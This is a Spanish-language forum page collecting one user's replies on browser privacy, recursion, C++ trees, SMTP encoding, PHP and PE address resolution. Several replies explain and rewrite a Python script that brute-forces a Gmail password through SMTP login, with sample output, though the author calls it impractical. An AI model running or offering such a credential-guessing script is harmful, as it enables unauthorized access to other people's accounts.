Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - jmpesp

#1
Las personas que administren esos sitios podran ver tu actividad SOLO en relacion al sitio (los recursos del sitio a los que accediste, si agregaste un producto al carrito, si compraste X producto, etc).

NO pueden acceder a otra informacion como la que pusiste ahi. Acceder a los procesos que esta corriendo tu pc, saber si la ventana del navegador esta activa, etc.

Sin embargo, los sitios web tienen la posibilidad de correr javascript en tu navegador, y acceder a cierta informacion de tu entorno, aunque limitado y algunas de estas requieren de tu autorizacion explicita.

Algunos ejemplos:

- Version del navegador, S.O y plataforma
- Tamano de la pantalla
- Lenguaje y zona horaria
- Coordenadas GPS (requiere tu autorizacion)
- Almacenamiento local
- Cookies (solo las que no esten marcadas como HttpOnly)

Entre otros.

Lo que se puede hacer via javascript es muy limitado y lo mas invasivo (como la geolocalizacion) requiere de tu autorizacion.

Aun asi, si te preocupa tu privacidad, deberias desactivar javascript. Estos datos pueden utilizarse para computar una huella unica que servira para identificar a tu navegador.

Desactivar javascript puede  producir que algunos sitios que dependen de el no funcionen correctamente o sean inutilizables.

----------------------------------
Si la version de tu navegador tiene alguna vulnerabilidad que pueda ser explotada para lograr RCE y escapar de los sistemas de proteccion que suelen tener los navegadores (sandbox) entonces se podria comprometer tu dispositivo.

Por esto es importante mantener tu software actualizado.


#2
Citardef gen_passwd(email, passwd, index, length):
     
       for x in charset:
          passwd[index] = x
     


Esa parte no la entiendo, que se supone que hace?

Lo que hace es recorrer el charset y asignarle cada caracter de el charset a el elemento indicado de la lista "passwd".

Ejemplo:


charset = "123"
passwd = ['a','a','a']

# asumiendo que index = 0
for x in charset:
     passwd[index] = x
     print "".join(passwd)

# Produciria la siguiente salida:

1aa
2aa
3aa




Citar
      if index < (length-1):
         gen_passwd(email, passwd, index+1, length)

      brute_google(email, "".join(passwd))

Esto creo que dice que si index(que le asignaste el valor de 0) es menor que lenght - 1 (que le asignaste el valor de i, osea 6) que sume 1 a index pero al acabar este bucle vuelves a darle el valor de cero, ¿no?, esta parte tampoco entiendo lo que hace

Exacto. Esa comparacion sirve para saber si estamos modificando el ultimo indice de la lista (el ultimo caracter en la password).
Hay que restarle uno a length porque, si la lista tiene 6 elementos, length sera 6, pero los indices comienzan desde cero. Tendremos los indices 0,1,2,3,4,5.


Creo que para que lo entiendas, primero debes entender lo que hace la funcion gen_passwd.
Toma como parametros una lista, y un indice.
Lo unico que hace esta funcion es recorrer el charset y asignarle cada caracter al indice especificado. Algo como:


charset = "abc"
list = ['x','x','x','x']

def gen(list, index):
      for x in charset:
            list[index] = x
            print "".join(list)

# esto produce la siguiente salida:

gen(list, 0)
# axxx
# bxxx
# cxxx
# .... etc ...


El truco esta en que la funcion se llama a si misma recursivamente incrementando el indice hasta llegar al final de la cadena.


charset = "abc"
list = ['x','x','x','x']

def gen(list, index):
      for x in charset:
            list[index] = x
            gen(list, index+1)
            print "".join(list)

# esto produce la siguiente salida:

gen(list, 0)
# aaxx
# abxx
# acxx
# baxx
# bbxx
# bcxx
# caxx
# cbxx
# ccxx
# .... etc ...




https://uniwebsidad.com/libros/python/capitulo-4/llamadas-recursivas

Espero te ayude a entenderlo, no soy muy bueno explicando la verdad.  :xD

#3
Cita de: enriquemesa8080 en  2 Noviembre 2019, 19:19 PM
Hola, este es una pregunta sobre estructuras de datos. Como puedo implementar un arbol en C++?? Yo lei y es una jerarquia de nodos. Para que tenga mas de un hijo debo implemenarlo con una lista enlazada. Esa idea esta bien para implementar el algoritmo?? No tengo mayores detalles ya que eso fue lo que lei, para ver si puedo lograr construirla. En la estructura quiero almacenar carpetas y archivos, asi sea solo de nombre, la idea es recrear un sistema de archivos interno, para un programa tipo servidor web donde segun se invoque la ruta, ejecuto uno, u otro script.

Es lo que se me ocurre.

struct node{
      struct node *padre;
      vector<node> hijos;
      void *dato; (Sustituir por el dato).
}

Es lo que se me viene a la mente. Y simplemente iterar por cada uno de ellos. Tiene alguna documentacion en español sobre estas estructuras de datos?? Alguna que sea puntual, es decir, que diga directamente que se habla sobre arboles para asi poder abordarla mas sencillo.

Es que esta es una solucion mia y yo he diseñado estructuras como la pila y la lista pero sin saber a ciencia cierta si en verdad trabajan como dichas estructuras descritas por la computacion.

Gracias a todos.

Bueno, para lograr lo que quieres la estructura que mostraste no esta mal.

Lo que no entendi bien fue esto:


En la estructura quiero almacenar carpetas y archivos, asi sea solo de nombre, la idea es recrear un sistema de archivos interno, para un programa tipo servidor web donde segun se invoque la ruta, ejecuto uno, u otro script.


y se me hace que no es muy buena idea.

Podrias brindar mas detalles acerca de que es lo que estas intentando hacer?
#4
Cita de: Jedahee en  3 Noviembre 2019, 12:31 PM
Wow la vd es que ese programa es muchísimo mejor...  :o
En cuanto los colores y eso es por simple estética y qje se viera mejor

Una pregunta, no entiendo como generas la contraseña, a partir de "Def gen_passwrd(email, passwrd, index, length)"

Y otra cosa, que valores iniciales toman los atributos que están entre paréntesis?

Muchas gracias por responder!!

No es muy diferente a lo que hace tu codigo. Funciona de la misma manera.

Si te fijas, antes de llamar a la funcion, se inicializa una lista con N elementos. El numero de elementos es el largo de la cadena


       # suponiendo que "i" (el largo) es 8
        passwd = ['a' for x in range(i)]       # Produce una lista: ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
gen_passwd(email, passwd, 0, i)


La funcion acepta como parametro la lista a modificar, el largo y el indice de la lista que va a modificar (el caracter).

Lo que hacemos es recorrer el charset asignandole cada caracter posible al indice de la lista indicado.

Si el indice es menor que el largo de la lista, es decir, nuestro indice no es el ultimo caracter en la clave a generar, la funcion se vuelve a llamar a si misma , incrementando el indice.


def gen_passwd(email, passwd, index, length):

for x in charset:
passwd[index] = x

if index < (length-1):
gen_passwd(email, passwd, index+1, length)

brute_google(email, "".join(passwd))



Para entenderlo mejor, con un charset de solo 3 caracteres:


charset = "abc"
passwd = ['x','x','x']

#la primera llamada a gen_charset con indice 0 producira:

passwd = ['a','x','x']

#como el indice 0 no es el ultimo de la lista, se volvera a llamar a si misma con el indice 1
# quedando

passwd = ['a','a',x']

# sucede lo mismo que antes pero ahora se utiliza el indice 2

passwd = ['a','a','a']

# el indice 2 es el ultimo de la lista, entonces no se incrementa el indice
# se producen los siguientes resultados:

passwd = ['a','a','b']
passwd = ['a','a','c']

# como no hay mas caracteres para probar en el charset, la funcion retorna a la llamada anterior de gen_passwd, que tenia el indice 1, y de nuevo, como 1 no es el ultimo indice de la lista se vuelve a llamar a la funcion con el indice 2, produciendo:

passwd = ['a','b','a']

# el ciclo se repite hasta producir todas las combinaciones posibles en todos los indices de la lista

passwd = ['a','b','b']
passwd = ['a','b','c']
passwd = ['a','c','a']
passwd = ['a','c','b']
passwd = ['a','c','c']
passwd = ['b','a','a']
passwd = ['b','a','b']
passwd = ['b','a','c']
passwd = ['b','b','a']
# [...] etc [...]



Que al final es lo mismo que haces tu hardcodeando los ciclos:


    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            con = str(a + b + c + d + e + f)
                            archivo_6.write(con+"\n")


Solo que en lugar de usar recursion, hardcodeas el numero de ciclos uno dentro de el otro, y en lugar de usar una lista e indices, utilizas variables y las concatenas al final.

Espero se haya entendido
#5
El programa en si no funcionara (en teoria tarde o temprano obtendras la clave correcta, pero solo en teoria).

No solo por ser "Google" o por las protecciones que pueda llegar a tener (que de seguro al quinto intento el servidor SMTP comenzara a rechazar tus conexiones o a arrojar falsos negativos).

Recorrer todo el charset en todos los largos especificados te llevara 853058370935030464 intentos. A un promedio de digamos 700 ms por intento intentar todas las combinaciones posibles te llevaria 315586874 a;os.

Incluso teniendo el hash y el equipamiento necesario a tu disposicion, romperlo de esa manera seria improbable y una perdida de tiempo.

Los ataques por diccionario suelen ser mas efectivos, aunque no hay garantia de que la clave este en el diccionario.

En cuanto al codigo, como ya te dijieron, hay varias cosas que mejorar.

-No usar rutas absolutas.

-Guardar las claves generadas en el disco consume recursos innecesariamente, lo unico que necesitas es probar la clave momento despues de generarla.

-Las funciones FuerzaBrutaN deberian ser reemplazadas por una unica funcion que acepte el largo de la cadena a generar como parametro

Los colores y el menu de opciones en mi opinion son innecesarios.
Por que no recibir el email y el largo deseado por un parametro al programa y ya?

Tu programa podria ser reducido a:



#!/usr/bin/python

import sys
import smtplib

charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-/.,!%$#@&^*()_+;:'\""

def brute_google(email, passwd):

print "Probando {}:{}".format(email, passwd)

smtp = smtplib.SMTP("smtp.gmail.com", 587)
smtp.starttls()

try:
smtp.login(email, passwd)
print "Esto nunca va a suceder :( [CRACKED]: {}".format(passwd)
sys.exit()
except smtplib.SMTPAuthenticationError:
pass

def gen_passwd(email, passwd, index, length):

for x in charset:
passwd[index] = x

if index < (length-1):
gen_passwd(email, passwd, index+1, length)

brute_google(email, "".join(passwd))

try:
email = sys.argv[1]
except IndexError:
print "Usar: {} [email]".format(sys.argv[0])
sys.exit()

for i in range(6, 16):
passwd = ['a' for x in range(i)]
gen_passwd(email, passwd, 0, i)




$ ./brute.py test@mail.com
Probando test@mail.com:aaaaaa
Probando test@mail.com:aaaaab
Probando test@mail.com:aaaaac
Probando test@mail.com:aaaaad
Probando test@mail.com:aaaaae
Probando test@mail.com:aaaaaf



Saludos !
#6
Redes / Re: Protocolo SMTP
20 Octubre 2019, 11:14 AM
Cita de: ace99 en 18 Octubre 2019, 20:39 PM
Si el protocolo de aplicación smtp restringe no solo las cabeceras de los mensajes sino tambíen los cuerpos a formato ASCII de 7 bits, para enviar una imagen  o archivos de audio o vídeo como lo haces. Codificando los datos binarios a ASCII y esa es la pregunta, como se realiza esa codificación.

Se codifica el contenido binario del archivo a caracteres imprimibles utilizando, por ejemplo, base64, y se setea una cabecera Content-Type con el MIME type del archivo, ademas de una cabecera Content-Encoding indicando el tipo de codificacion que se uso para codificar el cuerpo.

#7
No se puede hacer de esa manera.

La variable de entorno PHP_SELF devuelve la ruta relativa a la raiz del document del archivo que se esta ejecuntado, que en este caso es el archivo que consultas via AJAX.

Lo que si puedes usar es la cabecera "Referer" (asegurate de que tu script js la este enviando correctamente), que contiene la URL completa desde donde se genero la peticion.
Teniendo la URL completa simplemente extraes la URI con parse_url().

Aun asi, debes tener en cuenta que esa cabecera es totalmente manipulable por el cliente y no deberias basarte en ella para realizar ninguna operacion critica.

Ademas, el URI path no siempre corresponde con la ruta relativa del script php que esta atendiendo esa peticion (por ejemplo si usas URL rewrite).

----------------------------

Dejando eso de lado, que es exactamente lo que queres lograr?
Es decir, para que necesitas la ruta del archivo donde se origina la peticion AJAX?

Deberias proveer mas detalles sobre lo que estas haciendo para poder aconsejarte mejor.

Saludos
#8
Cita de: LUX-FERO en 27 Junio 2019, 16:42 PM
HI.

Puede utilizar el ejemplo:

EIP - 350

o EDI - ..........

En lugar de un valor fijo.
Saludos.

Podria funcionar para localizar la cadena, no lo habia pensado.

Pero para localizar la funcion parece que voy a tener que parsear la cabecera PE.

Gracias
#9
Cita de: MCKSys Argentina en 25 Junio 2019, 20:14 PM
Hola!

Todas las direcciones de los binsarios cambian cada vez que se ejecutan. Mas aun con ASLR. Para saber mas sobre el tema, busca info sobre la tabla de relocaciones de los binarios.

Ahora, para solucionar el problema, como bien has dicho, la direccion es relativa al inicio del ejecutable. Si miras en memoria, veras que aunque cambie la direccion, la "distancia" entre el encabezado MZ del binario y la cadena es la misma.

Para obtener la la direccion en que esta corriendo el binario, llama a GetModuleHandle con NULL (cero) y te devolvera la base del binario. Despues solo debes sumarle el offset (distancia) de la cadena y listo.

Si la API no esta en la IAT, vas a tener que usar un resolver.

Saludos!

El problema es que para llamar a GetModuleHandle (o a cualquier funcion de la API) necesito de igual manera conocer la direccion de esta funcion (kernel32 + offset).

Si en el desensamblador "hardcodeo" esta direccion (call kernel32.GetModuleHandle) va a suceder lo mismo.

Gracias por tu respuesta


#10
Cita de: juanma2468 en 23 Junio 2019, 23:43 PM
Hola a todos, resulta que me han hackeado mi celular introduciendome un exploit (quizas el meterpreter), robandome mis contactos y demás información personal.
La actividad la detecte como un consumo de datos moviles muy elevados, aún cuando no estaba usandolo practicamente.
Luego al tiempo recibo un mail de un hacker, diciendome que me habia puesto un malware (en realidad me dijo que era un escritorio remoto), que tenia mis contactos y
que haria videos defamatorios (pornograficos) introduciendo capturas de mi camara, y lo enviaría a mis contactos, a no ser que yo le realizar un pago de dinero con bitcoins,
por una suma de dinero muyyyy alta, que claro no estoy dispuesto a hacer.
Ahora bien, como medidas de seguridad lo que hice fue, resetar mi celular (hard reset), y por si las dudas luego lo flashe. Pero estuve viendo segun este video:
https://www.youtube.com/watch?v=vIxjlpWuHcY
que es posible hacer un acceso permanente en mi celular, por lo que aun no se si estoy libre de este hacker. De que forma puedo saber si ya me libre o que puedo hacer para
erradicar totalmente cualquier tipo de conexión remota?. Desde ya muchas gracias.

Lo que contas del e-mail me suena a una campa;a de phishing que se estuvo propagando con mucha intensidad estos ultimos meses, con muchas variantes similares.

Citara no ser que yo le realizar un pago de dinero con bitcoins

https://www.kaspersky.es/blog/extortion-spam/17594/

El supuesto "atacante" te revelo informacion personal tuya que realmente te haga pensar que tuvo algun tipo de acceso a tu dispositivo?

Que te hizo pensar que te "hackearon" tu telefono?
Consumo elevado de datos no significa necesariamente que esten espiando tu dispositivo.

En resumen, es todo mentira, quieren asustarte para que les envies dinero. No saben ni quien eres, simplemente reenvian el mismo mensaje a miles y miles de correos electronicos en una lista, y de esa lista, un porcentaje se asusta y envia el dinero.